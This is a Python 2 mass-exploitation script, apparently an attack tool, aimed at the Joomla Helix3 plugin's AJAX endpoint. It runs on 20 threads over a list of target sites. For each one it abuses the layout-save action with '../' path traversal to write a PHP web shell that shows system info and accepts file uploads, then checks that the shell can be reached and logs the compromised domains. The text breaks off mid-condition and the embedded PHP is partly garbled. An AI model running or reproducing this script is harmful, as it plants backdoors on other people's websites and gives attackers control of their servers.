#!/usr/bin/env python2 # -*- coding: utf-8 -*- import requests import sys import threading from Queue import Queue import time import random import string import os requests.packages.urllib3.disable_warnings() THREADS = 20 PATHS = ['../../../', '../../../../'] RESULT_FILE = 'results.txt' RAW_RESULT_FILE = 'rez.txt' TIMEOUT = 5 queue = Queue() lock = threading.Lock() vulnerable_list = [] raw_list = [] processed_urls = set() def safe_print(msg): with lock: print(msg) def save_result(url, filename, file_type='vuln'): with lock: try: domain = url.replace('http://', '').replace('https://', '') output = "{}/{}\n".format(domain, filename.replace('.php', '.php.json')) if file_type == 'vuln': with open(RESULT_FILE, 'a') as f: f.write(output) else: with open(RAW_RESULT_FILE, 'a') as f: f.write(output) except: pass def check_vulnerability(url): try: if not url.startswith(('http://', 'https://')): url = 'http://' + url url = url.rstrip('/') with lock: if url in processed_urls: return processed_urls.add(url) endpoint = url + "/index.php?option=com_ajax&plugin=helix3&format=json" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } random_suffix = ''.join(random.choice(string.digits) for _ in range(6)) timestamp = int(time.time()) random_name = "tmp_{}_{}".format(timestamp, random_suffix) filename = random_name + '.php' content = """


'.$s.'


'.php_uname()."\\n".'


'; echo '
'; echo ''; echo ''; echo '
'; if(isset($_POST['upload'])){ $tmp = $_FILES['file']['tmp_name']; $name = $_FILES['file']['name']; if(@move_uploaded_file($tmp, $name)){ echo 'Upload success

'; echo 'Click here'; } else { echo 'Upload failed'; } } ?>""" for path in PATHS: filepath = path + filename payload = { 'data[action]': 'save', 'data[layoutName]': filepath, 'data[content]': content } try: r = requests.post(endpoint, data=payload, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=False) if r.status_code == 200: test_url = url + '/' + filename + '.json' cek = requests.get(test_url, verify=False, timeout=TIMEOUT) if cek.status_code == 200: response_text = cek.text if 'Shinday' in response_text and 'Upload' in response_text and '